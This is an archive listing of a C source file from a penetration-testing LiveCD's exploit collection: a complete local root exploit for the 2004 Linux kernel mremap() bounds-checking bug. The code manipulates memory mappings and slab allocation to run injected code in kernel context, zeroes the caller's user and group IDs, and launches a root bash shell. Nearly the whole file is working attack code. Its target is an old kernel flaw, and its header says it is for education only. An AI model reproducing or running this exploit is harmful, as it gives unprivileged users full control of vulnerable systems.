home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / kernelmremap.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  409 lines

  1. /*
  2.  * Linux kernel mremap() bound checking bug exploit.
  3.  *
  4.  * Bug found by Paul Starzetz <paul isec pl>
  5.  *
  6.  * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
  7.  *
  8.  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  9.  * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  10.  * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <errno.h>
  16. #include <string.h>
  17. #include <fcntl.h>
  18. #include <unistd.h>
  19. #include <syscall.h>
  20. #include <signal.h>
  21. #include <time.h>
  22. #include <sched.h>
  23.  
  24. #include <sys/mman.h>
  25. #include <sys/stat.h>
  26. #include <sys/wait.h>
  27.  
  28. #include <asm/page.h>
  29.  
  30. #define MREMAP_MAYMOVE    1
  31. #define MREMAP_FIXED    2
  32.  
  33. #define str(s)     #s
  34. #define xstr(s) str(s)
  35.  
  36. #define DSIGNAL        SIGCHLD
  37. #define CLONEFL        (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
  38. #define PAGEADDR    0x2000
  39.  
  40. #define RNDINT        512
  41.  
  42. #define NUMVMA        (3 * 5 * 257)
  43. #define NUMFORK        (17 * 65537)
  44.  
  45. #define DUPTO        1000
  46. #define TMPLEN        256
  47.  
  48. #define __NR_sys_mremap    163
  49.  
  50. _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
  51. unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
  52. new_len,
  53.              unsigned long flags, unsigned long new_addr);
  54.  
  55.  
  56. static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
  57. gid;
  58. static volatile int *vma_ro, *vma_rw, *tmp;
  59. static volatile unsigned fake_file[16];
  60.  
  61.  
  62. void fatal(const char * msg)
  63. {
  64.     printf("\n");
  65.     if (!errno) {
  66.         fprintf(stderr, "FATAL: %s\n", msg);
  67.     } else {
  68.         perror(msg);
  69.     }
  70.  
  71.     printf("\nentering endless loop");
  72.     fflush(stdout);
  73.     fflush(stderr);
  74.     while (1) pause();
  75. }
  76.  
  77. void kernel_code(void * file, loff_t offset, int origin)
  78. {
  79.     int i, c;
  80.     int *v;
  81.  
  82.     if (!file)
  83.         goto out;
  84.  
  85.     __asm__("movl    %%esp, %0" : : "m" (c));
  86.  
  87.     c &= 0xffffe000;
  88.     v = (void *) c;
  89.  
  90.     for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
  91.         if (v[i] == uid && v[i+1] == uid) {
  92.             i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
  93.         }
  94.         if (v[i] == gid) {
  95.             v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
  96.             break;
  97.         }
  98.     }
  99. out:
  100.     dummy++;
  101. }
  102.  
  103. void try_to_exploit(void)
  104. {
  105.     int v = 0;
  106.  
  107.     v += fops[0];
  108.     v += fake_file[0];
  109.  
  110.     kernel_code(0, 0, v);
  111.     lseek(DUPTO, 0, SEEK_SET);
  112.  
  113.     if (geteuid()) {
  114.         printf("\nFAILED uid!=0"); fflush(stdout);
  115.         errno =- ENOSYS;
  116.         fatal("uid change");
  117.     }
  118.  
  119.     printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);
  120.  
  121.     kill(ppid, SIGUSR1);
  122.     setresuid(0, 0, 0);
  123.     sleep(1);
  124.  
  125.     printf("\n\n"); fflush(stdout);
  126.  
  127.     execl("/bin/bash", "bash", NULL);
  128.     fatal("burp");
  129. }
  130.  
  131. void cleanup(int v)
  132. {
  133.     victim[DUPTO] = victim[0];
  134.     kill(0, SIGUSR2);
  135. }
  136.  
  137.  
  138. void redirect_filp(int v)
  139. {
  140.     printf("\n[!] parent check race... "); fflush(stdout);
  141.  
  142.     if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
  143.         printf("SUCCESS, cought SLAB page!"); fflush(stdout);
  144.         victim[DUPTO] = (unsigned) & fake_file;
  145.         signal(SIGUSR1, &cleanup);
  146.         kill(pid, SIGUSR1);
  147.     } else {
  148.         printf("FAILED!");
  149.     }
  150.     fflush(stdout);
  151. }
  152.  
  153. int get_slab_objs(void)
  154. {
  155.     FILE * fp;
  156.     int c, d, u = 0, a = 0;
  157.     static char line[TMPLEN], name[TMPLEN];
  158.  
  159.     fp = fopen("/proc/slabinfo", "r");
  160.     if (!fp)
  161.         fatal("fopen");
  162.  
  163.     fgets(name, sizeof(name) - 1, fp);
  164.     do {
  165.         c = u = a =- 1;
  166.         if (!fgets(line, sizeof(line) - 1, fp))
  167.             break;
  168. c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
  169.     } while (strcmp(name, "size-4096"));
  170.     
  171.     fclose(fp);
  172.  
  173.     return c == 7 ? a - u : -1;
  174. }
  175.  
  176. void unprotect(int v)
  177. {
  178.     int n, c = 1;
  179.  
  180.     *victim = 0;
  181.     printf("\n[+] parent unprotected PTE "); fflush(stdout);
  182.  
  183.     dup2(0, 2);
  184.     while (1) {
  185.         n = get_slab_objs();
  186.         if (n < 0)
  187.             fatal("read slabinfo");
  188.         if (n > 0) {
  189.             printf("\n    depopulate SLAB #%d", c++);
  190.             blah = 0; kill(hpid, SIGUSR1);
  191.             while (!blah) pause();
  192.         }
  193.         if (!n) {
  194.             blah = 0; kill(hpid, SIGUSR1);
  195.             while (!blah) pause();
  196.             dup2(0, DUPTO);
  197.             break;
  198.         }
  199.     }
  200.  
  201.     signal(SIGUSR1, &redirect_filp);
  202.     kill(pid, SIGUSR1);
  203. }
  204.  
  205. void cleanup_vmas(void)
  206. {
  207.     int i = NUMVMA;
  208.  
  209.     while (1) {
  210.         tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
  211.                 MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  212.         if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  213.             printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  214.             fatal("unmap1");
  215.         }
  216.         i--;
  217.         if (!i)
  218.             break;
  219.  
  220.     tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
  221.                 MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  222.     if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  223.             printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  224.             fatal("unmap2");
  225.         }
  226.         i--;
  227.         if (!i)
  228.             break;
  229.     }
  230. }
  231.  
  232. void catchme(int v)
  233. {
  234.     blah++;
  235. }
  236.  
  237. void exitme(int v)
  238. {
  239.     _exit(0);
  240. }
  241.  
  242. void childrip(int v)
  243. {
  244.     waitpid(-1, 0, WNOHANG);
  245. }
  246.  
  247. void slab_helper(void)
  248. {
  249.     signal(SIGUSR1, &catchme);
  250.     signal(SIGUSR2, &exitme);
  251.     blah = 0;
  252.  
  253.     while (1) {
  254.         while (!blah) pause();
  255.  
  256.         blah = 0;
  257.         if (!fork()) {
  258.             dup2(0, DUPTO);
  259.             kill(getppid(), SIGUSR1);
  260.             while (1) pause();
  261.         } else {
  262.             while (!blah) pause();
  263.             blah = 0; kill(ppid, SIGUSR2);
  264.         }
  265.     }
  266.     exit(0);
  267. }
  268.  
  269. int main(void)
  270. {
  271.     int i, r, v, cnt;
  272.     time_t start;
  273.  
  274.     srand(time(NULL) + getpid());
  275.     ppid = getpid();
  276.     uid = getuid();
  277.     gid = getgid();
  278.  
  279.     hpid = fork();
  280.     if (!hpid)
  281.         slab_helper();
  282.  
  283.     fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  284.             MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  285.     if (fops == MAP_FAILED)
  286.         fatal("mmap fops VMA");
  287.     for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
  288.         fops[i] = (unsigned)&kernel_code;
  289.     for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
  290.         fake_file[i] = (unsigned)fops;
  291.  
  292.     vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  293.     if (vma_ro == MAP_FAILED)
  294.         fatal("mmap1");
  295.  
  296.     vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  297.     if (vma_rw == MAP_FAILED)
  298.         fatal("mmap2");
  299.  
  300.     cnt = NUMVMA;
  301.     while (1) {
  302.         r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
  303.         if (r == (-1)) {
  304.             printf("\n[-] ERROR remapping"); fflush(stdout);
  305.             fatal("remap1");
  306.         }
  307.         cnt--;
  308.         if (!cnt) break;
  309.  
  310.         r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
  311.         if (r == (-1)) {
  312.             printf("\n[-] ERROR remapping"); fflush(stdout);
  313.             fatal("remap2");
  314.         }
  315.         cnt--;
  316.         if (!cnt) break;
  317.     }
  318.  
  319.     victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  320.             MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  321.     if (victim != (void *) PAGEADDR)
  322.         fatal("mmap victim VMA");
  323.  
  324.     v = *victim;
  325.     *victim = v + 1;
  326.  
  327.     signal(SIGUSR1, &unprotect);
  328.     signal(SIGUSR2, &catchme);
  329.     signal(SIGCHLD, &childrip);
  330.     printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
  331.     start = time(NULL);
  332.  
  333.     cnt = NUMFORK;
  334.     v = 0;
  335.     while (1) {
  336.         cnt--;
  337.         v--;
  338.         dummy += *victim;
  339.  
  340.         if (cnt > 1) {
  341.             __asm__(
  342.             "pusha                \n"
  343.             "movl %1, %%eax            \n"
  344.             "movl $("xstr(CLONEFL)"), %%ebx    \n"
  345.             "movl %%esp, %%ecx        \n"
  346.             "movl $120, %%eax        \n"
  347.             "int  $0x80            \n"
  348.             "movl %%eax, %0            \n"
  349.             "popa                \n"
  350.             : : "m" (pid), "m" (dummy)
  351.             );
  352.         } else {
  353.             pid = fork();
  354.         }
  355.  
  356.         if (pid) {
  357.             if (v <= 0 && cnt > 0) {
  358.                 float eta, tm;
  359.                 v = rand() % RNDINT / 2 + RNDINT / 2;
  360.                 tm = eta = (float)(time(NULL) - start);
  361.                 eta *= (float)NUMFORK;
  362.                 eta /= (float)(NUMFORK - cnt);
  363.                 printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
  364.                 NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
  365.                 fflush(stdout);
  366.             }
  367.             if (cnt) {
  368.                 waitpid(pid, 0, 0);
  369.                 continue;
  370.             }
  371.             if (!cnt) {
  372.                 while (1) {
  373.                      r = wait(NULL);
  374.                      if (r == pid) {
  375.                     cleanup_vmas();
  376.                     while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
  377.                      }
  378.                 }
  379.             }
  380.         }
  381.  
  382.         else {
  383.             cleanup_vmas();
  384.  
  385.             if (cnt > 0) {
  386.                 _exit(0);
  387.             }
  388.  
  389.         printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
  390.             sleep(1);
  391.  
  392.             signal(SIGUSR1, &catchme);
  393.             munmap(0, PAGE_SIZE);
  394.             dup2(0, 2);
  395.             blah = 0; kill(ppid, SIGUSR1);
  396.             while (!blah) pause();
  397.  
  398.             munmap((void *)victim, PAGE_SIZE);
  399.             dup2(0, DUPTO);
  400.  
  401.             blah = 0; kill(ppid, SIGUSR1);
  402.             while (!blah) pause();
  403.             try_to_exploit();
  404.             while (1) pause();
  405.         }
  406.     }
  407.     return 0;
  408. }
  409.